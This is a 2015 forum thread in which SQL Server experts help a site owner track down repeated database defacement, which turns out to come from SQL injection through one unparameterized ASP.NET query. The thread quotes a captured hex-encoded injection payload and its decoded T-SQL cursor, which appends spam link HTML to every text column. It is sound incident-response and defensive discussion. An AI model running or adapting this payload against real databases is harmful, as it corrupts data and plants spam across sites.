locked
Our SQL Server 2008 is being hacked RRS feed

  • Question

  • We're running an ASP.NET website with SQL Server 2008 on the backend.

    At least once a week, someone hacks our database. The hit all the tables with any form of text field and append html to it. This causes all the aspnet_xxxxx tables to be useless and prevents anyone from logging in or our website from working.

    I have TCP turned off and changed the SA password. All of our queries are parameterized.

    I haven't been able to figure out which account they're using to do this.

    We've been dealing with this for weeks now. We have a pretty good idea who is doing it but since I can't find how the update statement is being run, we can't be sure.

    Any suggestions?

    Thursday, February 26, 2015 2:58 PM

Answers

  • Looks like that one query was put outside of the db layer so I didn't find it when I checked everything for a parameter.

    I'm updating the website now. Hopefully that will conclude this mess.

    Thanks for following up with what you've found so that other may benefit.  As you know, parameterized queries are the main defense against SQL injection.  Script kiddies will find SQL injection vulnerabilities within minutes or hours after exposure to the public internet.

    An additional layer of security is the use of stored procedures.  Granting only execute permissions on stored procedures limits what a malicious user can do with ad-hoc queries.  Furthermore, when application code specifies CommandType.StoredProcedure, parameters must be used.  SQL injection is possible only if the proc code uses vulnerable dynamic SQL.


    Dan Guzman, SQL Server MVP, http://www.dbdelta.com

    Wednesday, March 4, 2015 1:13 PM

All replies

  • what edition of SQL Server are you using? Standard and higher comes with Profiler, which you can configure to trace everything run against the databases, including which user and what statements
    Thursday, February 26, 2015 3:03 PM
  • There is a specific trace called BlackBox Trace that may help you out here.


    Please click "Mark As Answer" if my post helped. Tony C.

    If you can, identify and stop all of services, processes software, reports for the weekend, disable all the logins with the exception of the Service Account, sa and your own and then on Monday look at all the "Failed Logins".

    It could also be someone who has the details for the Service Account; if you create a new Service account and apply it to Database Services and SQL Server Agent; don't change RS though as this will create other issues for you.  Ensure that the other Service Accounts have the required access to SQL Server.

    Is BUILTIN\Administrators enabled and does it have Sys Admin Access? This is a huge hole in your security...

    • Edited by Anthony C-UK Thursday, February 26, 2015 3:14 PM
    Thursday, February 26, 2015 3:09 PM
  • have you checked for any scheduled tasks that could be doing this, sometimes a hack can be internal EG. disgruntled employee before they left.

    Thursday, February 26, 2015 3:11 PM
  • have you checked for any scheduled tasks that could be doing this, sometimes a hack can be internal EG. disgruntled employee before they left.


    The blackbox trace will capture this; if this is a large estate then it could be coming from anywhere.

    Please click "Mark As Answer" if my post helped. Tony C.

    Thursday, February 26, 2015 3:22 PM
  • I ran profiler but when I open the file in Profiler and do a find for Update it doesn't find anything. But if I manually go through row by row, I can see some updates. I must not be using the find correctly (although I'm not sure how that's possible).


    Thursday, February 26, 2015 3:26 PM
  • Blackbox trace is what you need..

    https://msdn.microsoft.com/en-us/library/cc293615.aspx?f=255&MSPPError=-2147217396

    Note that the files are overwritten so if you can try and set it up so that your files are copied every minute to another location so that you preserve all of the trace data.


    Please click "Mark As Answer" if my post helped. Tony C.

    Thursday, February 26, 2015 3:34 PM
  • Another alternative would be to enable auditing on the tables they are modifying and try to find the unauthorized updates/inserts. See the link below for details

    https://msdn.microsoft.com/en-us/library/cc280386.aspx?f=255&MSPPError=-2147217396

    -Raul Garcia

      SQL Server Security


    This posting is provided "AS IS" with no warranties, and confers no rights.

    Thursday, February 26, 2015 5:37 PM
  • This sounds like a problem with ASPState database, not someone "hacking your SQL Server".  The ASPState database is used by IIS to persist the state of web sessions.  It is maintained by IIS and the uses the a service account login.  So it is not a user.

    This sounds more like a problem of someone hacking your IIS server. I would start there.

    What exactly are you seeing?  What version of IIS are you running? 

    Please see:

    http://blogs.msdn.com/b/hanspo/archive/2011/01/10/hardening-an-asp-net-session-state-database.aspx

    • Edited by Tom Phillips Thursday, February 26, 2015 6:16 PM
    Thursday, February 26, 2015 6:06 PM
  • We're running v7.5.7600 of IIS.

    This is the html being appended to the columns.

    </title><style>.axqi{;clip:rect(399px,auto,auto,446px);}</style><div class=axqi><a href=http://zozcialis.com >cialis</a></div></title><style>.axqi{;clip:rect(399px,auto,auto,446px);}</style><div class=axqi><a href=http://zozcialis.com >cialis</a></div>

    Thursday, February 26, 2015 7:13 PM
  • What do you mean by "appended to the columns"?  Are you saying the column names are changing in the ASPState database?  What table name is being affected?

    Thursday, February 26, 2015 9:02 PM
  • You are running a very old version of IIS.  I would guess you are seeing an exploit of some kind.  Make sure you have all the Windows updates installed on the IIS server, including the .NET updates.

    Thursday, February 26, 2015 9:08 PM
  • appended to the columns' value. For example email address get changed to their email + the html
    Thursday, February 26, 2015 9:54 PM
  • Another alternative would be to enable auditing on the tables they are modifying and try to find the unauthorized updates/inserts. See the link below for details

    However, this requires Enterprise Edition.

    Since the string is known, a trigger could be used to prevent the data to be entered. It should probably not raise an error, but silently restore the original data and write auditing data to a log table.


    Erland Sommarskog, SQL Server MVP, esquel@sommarskog.se
    Thursday, February 26, 2015 10:25 PM
  • The Blackbox Trace does not capture updates.

    If you are on Enterprise Edition you could indeed implement Auditing for Updates to Tables as Raoul suggests.

    While waiting for that to occur, I would assume you could trace any session coming from that webserver's specific website and get the credentials for that session. Running even SQL profiler for a couple of minutes should be sufficient. Follow the Login to the database user.

    The Login should not be in any server role (or having specific server permissions), like sysadmin.

    You are saying all statements are parametrized. What we are looking for is an exception to this rule or a badly written procedure if this is a case of SQL injection. Otherwise there has to be a second point of entry to the system.


    Andreas Wolter (Blog | Twitter)
    MCSM: Microsoft Certified Solutions Master Data Platform, MCM, MVP
    www.SarpedonQualityLab.com | www.SQL-Server-Master-Class.com

    Thursday, February 26, 2015 10:26 PM
  • Ok, that is something entirely different.

    What you are describing is a symptom of your IIS site being hacked and that data being passed to the database by the website.

    Are you using WordPress or Gravity? 

    Friday, February 27, 2015 9:13 PM
  • We're running the standard addition of SQL Server 2008 R2.

    The website is ASP.NET.

    Can Profiler capture Update statements and if so, which event are they?

    Sunday, March 1, 2015 1:36 AM
  • We're running the standard addition of SQL Server 2008 R2.

    The website is ASP.NET.

    Can Profiler capture Update statements and if so, which event are they?

    Ok, then Auditing is not an Option.

    Profiler/SQL Trace does not have an "Update-Event". All you can is capture ALL Sql-statements and search for string containing update. That's a real mess.

    I have another suggestion: if the of tables affected is known ahead, you can implement DML-Triggers on top of them and log an entry into a special Logging table every time someone is updating. In the trigger code you can capture everything starting from user-name to application name (can be faked but worth a try) as well as the complete statement.

    I have done that before to catch a similar process changing data.

    Meanwhile you can also search for all procedures containing dynamic SQL.


    Andreas Wolter (Blog | Twitter)
    MCSM: Microsoft Certified Solutions Master Data Platform, MCM, MVP
    www.SarpedonQualityLab.com | www.SQL-Server-Master-Class.com

    Sunday, March 1, 2015 11:22 AM
  • We're running the standard addition of SQL Server 2008 R2.

    The website is ASP.NET.

    Can Profiler capture Update statements and if so, which event are they?

    Yes, although I recommend an unattended SQL Trace for this task that includes both batch and RPC completed events along with a filter such as Text LIKE %<Style>%.  Profiler can generate the script (File--Export-->Script Trace Definition...) which can be saved and the sp_trace_create modified.  Specify a file name pattern, max file size and number of rollover files. I would expect this trace would capture the problem updates as long the .NET SqlClient is used. 

    Also, please share information you learn about the vulnerability so that we can all benefit from your experience.  Parameterized queries mitigate the risk of injection as long as no dynamic SQL constructed with string concatenation from untrusted sources.  But there may also be vulnerabilities that originate from the application design, such a REST service that does not require authentication and performs database CRUD operations.


    Dan Guzman, SQL Server MVP, http://www.dbdelta.com

    Sunday, March 1, 2015 1:57 PM
  • And to clarify: the reason you should use a server-side trace and not Profiler, is that using Profiler on a busy database can have serious performance impact. A server-side trace much less so.

    However, a trace will give you a lot of information to trawl through. A trigger that writes to a audit table is better bet in my opinion.


    Erland Sommarskog, SQL Server MVP, esquel@sommarskog.se
    Sunday, March 1, 2015 2:43 PM
  • I'm going to try creating a trigger on one of the tables.

    The database was hit again this morning at 8:31 AM.  I had the profiler running so I was able to capture additional information about it.

    The user account is the account the website is using. I changed this password again yesterday but it doesn't seem to make a difference.

    There was ~1000 transaction records but no data for any of them. They run from 8:31:01.023 to 8:31:16.360. All of these were from the SA account which I also changed the password for. They're all Begin then Commit.

    These lines appear at the end of a select statement within these transactions:

    declare @s varchar(8000) set @s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e383020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d434f4e5645525428564152434841522838303030292c5b272b40432b275d292b27273c2f7469746c653e3c7374796c653e2e6167366b7b706f736974696f6e3a6162736f6c7574653b636c69703a726563742834383370782c6175746f2c6175746f2c3434367078293b7d3c2f7374796c653e3c64697620636c6173733d6167366b3e3c6120687265663d687474703a2f2f786f787669616772612e636f6d203e7669616772613c2f613e3c2f6469763e2727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72 as varchar(8000)) exec(@s)--'

    Here is the info line:

    The event class is RPC:Starting and there is no other information in any of the other columns. No DatabaseName, HostName, LoginName, ApplicationName, etc... The only value I do see is ObjectName which is GhostCleanupTask. After more searching, there are also ObjectName sort_init followed by many UPDATE

    Here's another line:

    select enddate from items where extid = '1' declare @s varchar(8000) set @s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e383020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d434f4e5645525428564152434841522838303030292c5b272b40432b275d292b27273c2f7469746c653e3c7374796c653e2e6167366b7b706f736974696f6e3a6162736f6c7574653b636c69703a726563742834383370782c6175746f2c6175746f2c3434367078293b7d3c2f7374796c653e3c64697620636c6173733d6167366b3e3c6120687265663d687474703a2f2f786f787669616772612e636f6d203e7669616772613c2f613e3c2f6469763e2727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72 as varchar(8000)) exec(@s)--'
    This is a SQL:BatchStarting and is being run under the websites user account. There is no transaction id with this

    This line follows all the ObjectName UPDATE. It has a duration of 15142 and no ObjectName

    exec(@s)--'

    It looks like all the rows that have the ObjectName UPDATE are coming from the website account with the ApplicationName being .Net SqlClient Data Provider but I have no idea how.

    I checked the IIS logs but don't see anything there.

    Sunday, March 1, 2015 3:52 PM
  • ...

    The user account is the account the website is using. I changed this password again yesterday but it doesn't seem to make a difference.

    There was ~1000 transaction records but no data for any of them. They run from 8:31:01.023 to 8:31:16.360. All of these were from the SA account which I also changed the password for. They're all Begin then Commit.

    These lines appear at the end of a select statement within these transactions:

    declare @s varchar(8000) set @s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e383020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d434f4e5645525428564152434841522838303030292c5b272b40432b275d292b27273c2f7469746c653e3c7374796c653e2e6167366b7b706f736974696f6e3a6162736f6c7574653b636c69703a726563742834383370782c6175746f2c6175746f2c3434367078293b7d3c2f7374796c653e3c64697620636c6173733d6167366b3e3c6120687265663d687474703a2f2f786f787669616772612e636f6d203e7669616772613c2f613e3c2f6469763e2727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72 as varchar(8000)) exec(@s)--'
    ...
    exec(@s)--'

    It looks like all the rows that have the ObjectName UPDATE are coming from the website account with the ApplicationName being .Net SqlClient Data Provider but I have no idea how.

    ...

    Good, so it is clear now that the website is being abused for a SQL Injection attack.

    Changing passwords will not help you a bit in this case. Not even changing the account will: The website plus the permission in the database are the problem. By having direct UPDATE-permission to base tables some unprotected web-form is used to inject the statement that you captured. You may be able to find the webpage with the form and with help of a developer fix it.

    Then indeed changing to a new account with no direct permissions on base objects absolutely does make sense. No need to say that sa is not a candidate.

    The attack is a Hex--based SQL Injection attack. The code executed, once converted, will be the following:

    -- Attention: SQL Injection Attack! Do not run on your Server!
    SET ANSI_WARNINGS OFF
    DECLARE
            @T varchar(255)
          , @C varchar(255)
    DECLARE Table_Cursor CURSOR
    FOR
    SELECT
            c.TABLE_NAME
          , c.COLUMN_NAME
        FROM
            INFORMATION_SCHEMA.columns c
          , INFORMATION_SCHEMA.tables t
        WHERE
            c.DATA_TYPE IN ( 'nvarchar', 'varchar', 'ntext', 'text' )
            AND c.CHARACTER_MAXIMUM_LENGTH > 80
            AND t.table_name = c.table_name
            AND t.table_type = 'BASE TABLE'
    OPEN Table_Cursor
    FETCH NEXT FROM Table_Cursor INTO @T, @C
    WHILE ( @@FETCH_STATUS = 0 )
          BEGIN
                EXEC('UPDATE ['+@T+'] SET ['+@C+']=CONVERT(VARCHAR(8000),['+@C+'])+''</title><style>.ag6k{clip:rect(483px,auto,auto,446px);}</style><div class=ag6k><a href=http://xoxviagra.com >viagra</a></div>'' ')
                FETCH NEXT FROM Table_Cursor INTO @T, @C
          END
    CLOSE Table_Cursor
    DEALLOCATE Table_Cursor

    Quite a typical example if you ask me.

    Andreas Wolter (Blog | Twitter)
    MCSM: Microsoft Certified Solutions Master Data Platform, MCM, MVP
    www.SarpedonQualityLab.com | www.SQL-Server-Master-Class.com


    Sunday, March 1, 2015 5:20 PM
  • It looks like all the rows that have the ObjectName UPDATE are coming from the website account with the ApplicationName being .Net SqlClient Data Provider but I have no idea how.

    You mentioned originally that the application queries were parameterized.  That may be true but that the injected queries clearly show that concatenation is also involved to build the query string. Examine the application code for where this SELECT statement is constructed and you will find at least one of the culprits:

    select enddate from items where extid = 
    


    Dan Guzman, SQL Server MVP, http://www.dbdelta.com

    Sunday, March 1, 2015 7:18 PM
  • Looks like that one query was put outside of the db layer so I didn't find it when I checked everything for a parameter.

    I'm updating the website now. Hopefully that will conclude this mess.

    Tuesday, March 3, 2015 4:04 AM
  • Looks like that one query was put outside of the db layer so I didn't find it when I checked everything for a parameter.

    I'm updating the website now. Hopefully that will conclude this mess.

    Thanks for following up with what you've found so that other may benefit.  As you know, parameterized queries are the main defense against SQL injection.  Script kiddies will find SQL injection vulnerabilities within minutes or hours after exposure to the public internet.

    An additional layer of security is the use of stored procedures.  Granting only execute permissions on stored procedures limits what a malicious user can do with ad-hoc queries.  Furthermore, when application code specifies CommandType.StoredProcedure, parameters must be used.  SQL injection is possible only if the proc code uses vulnerable dynamic SQL.


    Dan Guzman, SQL Server MVP, http://www.dbdelta.com

    Wednesday, March 4, 2015 1:13 PM